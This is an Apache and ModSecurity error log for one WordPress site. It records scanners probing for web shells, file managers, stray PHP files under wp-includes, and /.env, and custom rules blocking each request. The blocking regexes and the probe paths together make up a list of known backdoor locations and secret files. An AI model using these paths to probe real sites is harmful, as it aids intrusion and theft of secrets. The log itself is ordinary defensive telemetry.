[Tue Jan 06 00:38:09.063418 2026] [:error] [pid 60510:tid 60557] [client 4.190.212.213:56082] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/core990.php"] [unique_id "aVvo8W3HNEkuMRrTL0IEaQAAAIk"]
[Tue Jan 06 00:38:09.387087 2026] [:error] [pid 29187:tid 29209] [client 4.190.212.213:35670] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/core990.php"] [unique_id "aVvo8YSYYRtfmMXGZCqDjQAAABQ"]
[Tue Jan 06 00:38:09.792621 2026] [:error] [pid 60509:tid 60521] [client 4.190.212.213:63143] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/core990.php"] [unique_id "aVvo8aBSiT1_wVwKSvQdFAAAAEA"]
[Tue Jan 06 00:38:10.169231 2026] [:error] [pid 60514:tid 60598] [client 4.190.212.213:24419] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/core990.php"] [unique_id "aVvo8m70C0kefOIBEs9V_wAAANc"]
[Tue Jan 06 00:38:10.699520 2026] [:error] [pid 60509:tid 60538] [client 4.190.212.213:56072] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/akcc.php"] [unique_id "aVvo8qBSiT1_wVwKSvQdFgAAAFE"]
[Tue Jan 06 00:38:11.306273 2026] [:error] [pid 60509:tid 60530] [client 4.190.212.213:15899] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/akcc.php"] [unique_id "aVvo86BSiT1_wVwKSvQdFwAAAEk"]
[Tue Jan 06 00:38:11.866454 2026] [:error] [pid 60605:tid 60614] [client 4.190.212.213:55370] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/akcc.php"] [unique_id "aVvo85GdDsTlcaRtgxQ78gAAAQc"]
[Tue Jan 06 00:38:12.309139 2026] [:error] [pid 29187:tid 29191] [client 4.190.212.213:56095] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/akcc.php"] [unique_id "aVvo9ISYYRtfmMXGZCqDkQAAAAI"]
[Tue Jan 06 00:38:12.939499 2026] [:error] [pid 60509:tid 60533] [client 4.190.212.213:63146] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bolt.php"] [unique_id "aVvo9KBSiT1_wVwKSvQdGQAAAEw"]
[Tue Jan 06 00:38:13.351021 2026] [:error] [pid 60605:tid 60607] [client 4.190.212.213:15922] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bolt.php"] [unique_id "aVvo9ZGdDsTlcaRtgxQ79gAAAQA"]
[Tue Jan 06 00:38:13.617465 2026] [:error] [pid 29187:tid 29200] [client 4.190.212.213:55376] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bolt.php"] [unique_id "aVvo9YSYYRtfmMXGZCqDkwAAAAs"]
[Tue Jan 06 00:38:13.994878 2026] [:error] [pid 60509:tid 60545] [client 4.190.212.213:56104] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bolt.php"] [unique_id "aVvo9aBSiT1_wVwKSvQdHAAAAFg"]
[Tue Jan 06 00:38:14.479872 2026] [:error] [pid 60605:tid 60611] [client 4.190.212.213:55393] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/config596.php"] [unique_id "aVvo9pGdDsTlcaRtgxQ7-AAAAQQ"]
[Tue Jan 06 00:38:14.910515 2026] [:error] [pid 29187:tid 29210] [client 4.190.212.213:56070] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/config596.php"] [unique_id "aVvo9oSYYRtfmMXGZCqDlwAAABU"]
[Tue Jan 06 00:38:15.636319 2026] [:error] [pid 29187:tid 29208] [client 4.190.212.213:56081] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/config596.php"] [unique_id "aVvo94SYYRtfmMXGZCqDmQAAABM"]
[Tue Jan 06 00:38:15.989990 2026] [:error] [pid 29187:tid 29205] [client 4.190.212.213:56065] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/config596.php"] [unique_id "aVvo94SYYRtfmMXGZCqDmgAAABA"]
[Tue Jan 06 00:38:16.291999 2026] [:error] [pid 60514:tid 60599] [client 4.190.212.213:55420] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lib854.php"] [unique_id "aVvo-G70C0kefOIBEs9WCQAAANg"]
[Tue Jan 06 00:38:16.737922 2026] [:error] [pid 60514:tid 60582] [client 4.190.212.213:56067] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lib854.php"] [unique_id "aVvo-G70C0kefOIBEs9WCgAAAMc"]
[Tue Jan 06 00:38:17.181407 2026] [:error] [pid 60605:tid 60615] [client 4.190.212.213:55413] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lib854.php"] [unique_id "aVvo-ZGdDsTlcaRtgxQ7_QAAAQg"]
[Tue Jan 06 00:38:17.578133 2026] [:error] [pid 60509:tid 60539] [client 4.190.212.213:63157] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lib854.php"] [unique_id "aVvo-aBSiT1_wVwKSvQdIAAAAFI"]
[Tue Jan 06 00:38:18.030853 2026] [:error] [pid 29187:tid 29207] [client 4.190.212.213:55375] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/I3zu2h.php"] [unique_id "aVvo-oSYYRtfmMXGZCqDngAAABI"]
[Tue Jan 06 00:38:18.822963 2026] [:error] [pid 60510:tid 60558] [client 4.190.212.213:55371] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/I3zu2h.php"] [unique_id "aVvo-m3HNEkuMRrTL0IEdQAAAIo"]
[Tue Jan 06 00:38:19.247665 2026] [:error] [pid 29187:tid 29191] [client 4.190.212.213:63136] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/I3zu2h.php"] [unique_id "aVvo-4SYYRtfmMXGZCqDowAAAAI"]
[Tue Jan 06 00:38:19.806296 2026] [:error] [pid 60514:tid 60578] [client 4.190.212.213:63134] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/I3zu2h.php"] [unique_id "aVvo-270C0kefOIBEs9WDgAAAMM"]
[Tue Jan 06 00:38:20.122132 2026] [:error] [pid 60510:tid 60551] [client 4.190.212.213:56112] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/helper043.php"] [unique_id "aVvo_G3HNEkuMRrTL0IEeAAAAIM"]
[Tue Jan 06 00:38:20.548391 2026] [:error] [pid 29187:tid 29200] [client 4.190.212.213:63124] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/helper043.php"] [unique_id "aVvo_ISYYRtfmMXGZCqDpgAAAAs"]
[Tue Jan 06 00:38:21.340935 2026] [:error] [pid 60605:tid 60628] [client 4.190.212.213:55382] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/helper043.php"] [unique_id "aVvo_ZGdDsTlcaRtgxQ7_gAAARU"]
[Tue Jan 06 00:38:21.745670 2026] [:error] [pid 60514:tid 60587] [client 4.190.212.213:63117] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/helper043.php"] [unique_id "aVvo_W70C0kefOIBEs9WEwAAAMw"]
[Tue Jan 06 10:42:10.064438 2026] [proxy_fcgi:error] [pid 44905:tid 44969] [client 45.67.97.51:25183] AH01071: Got error 'Primary script unknown'
[Tue Jan 06 10:42:10.281256 2026] [proxy_fcgi:error] [pid 44905:tid 44989] [client 45.67.97.51:25183] AH01071: Got error 'Primary script unknown'
[Tue Jan 06 10:42:10.506374 2026] [proxy_fcgi:error] [pid 44905:tid 44977] [client 45.67.97.51:25183] AH01071: Got error 'Primary script unknown'
[Tue Jan 06 10:42:10.722660 2026] [proxy_fcgi:error] [pid 44905:tid 44987] [client 45.67.97.51:25183] AH01071: Got error 'Primary script unknown'
[Tue Jan 06 10:42:10.943048 2026] [proxy_fcgi:error] [pid 44905:tid 44973] [client 45.67.97.51:25183] AH01071: Got error 'Primary script unknown'
[Tue Jan 06 10:42:11.181475 2026] [proxy_fcgi:error] [pid 44905:tid 44976] [client 45.67.97.51:25183] AH01071: Got error 'Primary script unknown'
[Tue Jan 06 10:42:11.401416 2026] [proxy_fcgi:error] [pid 44905:tid 44975] [client 45.67.97.51:25183] AH01071: Got error 'Primary script unknown'
[Tue Jan 06 10:42:11.619327 2026] [proxy_fcgi:error] [pid 44905:tid 44983] [client 45.67.97.51:25183] AH01071: Got error 'Primary script unknown'
[Tue Jan 06 10:42:11.834779 2026] [proxy_fcgi:error] [pid 44905:tid 44979] [client 45.67.97.51:25183] AH01071: Got error 'Primary script unknown'
[Tue Jan 06 10:42:12.051857 2026] [proxy_fcgi:error] [pid 44905:tid 44982] [client 45.67.97.51:25183] AH01071: Got error 'Primary script unknown'
[Tue Jan 06 10:42:12.632782 2026] [proxy_fcgi:error] [pid 44905:tid 44969] [client 45.67.97.51:25183] AH01071: Got error 'Primary script unknown'
[Tue Jan 06 10:42:12.899634 2026] [proxy_fcgi:error] [pid 44905:tid 44989] [client 45.67.97.51:25183] AH01071: Got error 'Primary script unknown'
[Tue Jan 06 10:42:13.133758 2026] [proxy_fcgi:error] [pid 44905:tid 44977] [client 45.67.97.51:25183] AH01071: Got error 'Primary script unknown'
[Tue Jan 06 10:42:13.369508 2026] [proxy_fcgi:error] [pid 44905:tid 44976] [client 45.67.97.51:25183] AH01071: Got error 'Primary script unknown'
[Tue Jan 06 10:42:13.585619 2026] [proxy_fcgi:error] [pid 44905:tid 44992] [client 45.67.97.51:25183] AH01071: Got error 'Primary script unknown'
[Tue Jan 06 10:42:13.830002 2026] [proxy_fcgi:error] [pid 44905:tid 44980] [client 45.67.97.51:25183] AH01071: Got error 'Primary script unknown'
[Tue Jan 06 10:42:14.058176 2026] [proxy_fcgi:error] [pid 44905:tid 44975] [client 45.67.97.51:25183] AH01071: Got error 'Primary script unknown'
[Tue Jan 06 10:42:14.279087 2026] [proxy_fcgi:error] [pid 44905:tid 44983] [client 45.67.97.51:25183] AH01071: Got error 'Primary script unknown'
[Tue Jan 06 10:42:14.500491 2026] [proxy_fcgi:error] [pid 44905:tid 44988] [client 45.67.97.51:25183] AH01071: Got error 'Primary script unknown'
[Tue Jan 06 10:42:17.636989 2026] [:error] [pid 44905:tid 44971] [client 45.67.97.51:25183] [client 45.67.97.51] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aVx2ibu7ufwWVst9EAtCQAAAAIM"]
[Tue Jan 06 10:42:22.609282 2026] [:error] [pid 45959:tid 45986] [client 45.67.97.52:50429] [client 45.67.97.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "aVx2jlajdn8P3hjgMYz7gwAAAVg"]
[Tue Jan 06 10:42:25.428082 2026] [proxy_fcgi:error] [pid 44905:tid 44989] [client 45.67.97.54:50675] AH01071: Got error 'Primary script unknown'
[Tue Jan 06 10:42:27.470383 2026] [:error] [pid 44905:tid 44975] [client 45.67.97.54:50675] [client 45.67.97.54] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aVx2k7u7ufwWVst9EAtCVgAAAIc"]
[Tue Jan 06 10:42:28.153540 2026] [proxy_fcgi:error] [pid 45012:tid 45027] [client 45.67.97.51:41187] AH01071: Got error 'Primary script unknown'
[Tue Jan 06 10:42:28.380272 2026] [proxy_fcgi:error] [pid 45012:tid 45019] [client 45.67.97.51:41187] AH01071: Got error 'Primary script unknown'
[Tue Jan 06 10:42:28.590787 2026] [:error] [pid 45012:tid 45038] [client 45.67.97.51:41187] [client 45.67.97.51] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "aVx2lBaMAxCuju1d0uZOSwAAANg"]
[Tue Jan 06 10:42:29.263024 2026] [proxy_fcgi:error] [pid 45959:tid 45963] [client 45.67.97.51:24557] AH01071: Got error 'Primary script unknown'
[Tue Jan 06 10:42:30.444151 2026] [:error] [pid 45959:tid 45972] [client 45.67.97.51:24557] [client 45.67.97.51] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/dyqvcfqv.php"] [unique_id "aVx2llajdn8P3hjgMYz7lwAAAUo"]
[Tue Jan 06 10:42:31.225654 2026] [:error] [pid 45959:tid 45976] [client 45.67.97.52:21771] [client 45.67.97.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aVx2l1ajdn8P3hjgMYz7mgAAAU4"]
[Tue Jan 06 10:42:31.651072 2026] [:error] [pid 44905:tid 44990] [client 45.67.97.54:46019] [client 45.67.97.54] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "aVx2l7u7ufwWVst9EAtCXAAAAJY"]
[Tue Jan 06 10:42:32.092691 2026] [:error] [pid 45959:tid 45984] [client 45.67.97.54:24097] [client 45.67.97.54] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "aVx2mFajdn8P3hjgMYz7mwAAAVY"]
[Tue Jan 06 10:42:32.583183 2026] [:error] [pid 44905:tid 44983] [client 45.67.97.53:63821] [client 45.67.97.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "aVx2mLu7ufwWVst9EAtCXQAAAI8"]
[Tue Jan 06 10:42:33.041451 2026] [:error] [pid 35140:tid 35151] [client 45.67.97.53:50003] [client 45.67.97.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/wp-login.php"] [unique_id "aVx2mXoQaIDFMbT-XMxL_wAAAQk"]
[Tue Jan 06 10:42:33.766693 2026] [:error] [pid 35140:tid 35154] [client 45.67.97.54:41365] [client 45.67.97.54] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/options.php"] [unique_id "aVx2mXoQaIDFMbT-XMxMAQAAAQw"]
[Tue Jan 06 10:42:34.239494 2026] [proxy_fcgi:error] [pid 45012:tid 45031] [client 45.67.97.51:32615] AH01071: Got error 'Primary script unknown'
[Tue Jan 06 10:42:34.740534 2026] [:error] [pid 45012:tid 45028] [client 45.67.97.51:32615] [client 45.67.97.51] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/filemanager.php"] [unique_id "aVx2mhaMAxCuju1d0uZOUwAAAM4"]
[Tue Jan 06 10:42:35.232399 2026] [proxy_fcgi:error] [pid 45959:tid 45964] [client 45.67.97.53:33455] AH01071: Got error 'Primary script unknown'
[Tue Jan 06 10:42:35.449529 2026] [proxy_fcgi:error] [pid 45959:tid 45977] [client 45.67.97.53:33455] AH01071: Got error 'Primary script unknown'
[Tue Jan 06 10:42:35.661453 2026] [:error] [pid 45959:tid 45962] [client 45.67.97.53:33455] [client 45.67.97.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/IXR/admin.php"] [unique_id "aVx2m1ajdn8P3hjgMYz7owAAAUA"]
[Tue Jan 06 10:42:36.326516 2026] [:error] [pid 45959:tid 45984] [client 45.67.97.52:34737] [client 45.67.97.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "aVx2nFajdn8P3hjgMYz7pgAAAVY"]
[Tue Jan 06 10:42:37.408901 2026] [proxy_fcgi:error] [pid 44903:tid 44928] [client 45.67.97.53:39349] AH01071: Got error 'Primary script unknown'
[Tue Jan 06 10:42:38.347325 2026] [:error] [pid 44903:tid 44927] [client 45.67.97.53:39349] [client 45.67.97.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "aVx2nthHqjs38zbkQPCLygAAABQ"]
[Tue Jan 06 10:42:39.392786 2026] [proxy_fcgi:error] [pid 45959:tid 45979] [client 45.67.97.54:44965] AH01071: Got error 'Primary script unknown'
[Tue Jan 06 10:42:40.069889 2026] [proxy_fcgi:error] [pid 45959:tid 45977] [client 45.67.97.54:44965] AH01071: Got error 'Primary script unknown'
[Tue Jan 06 10:42:40.710298 2026] [:error] [pid 45959:tid 45984] [client 45.67.97.54:44965] [client 45.67.97.54] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "aVx2oFajdn8P3hjgMYz7tgAAAVY"]
[Tue Jan 06 16:31:14.166760 2026] [:error] [pid 45959:tid 45985] [client 185.177.72.30:29626] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "aVzIUlajdn8P3hjgMYx04gAAAVc"]
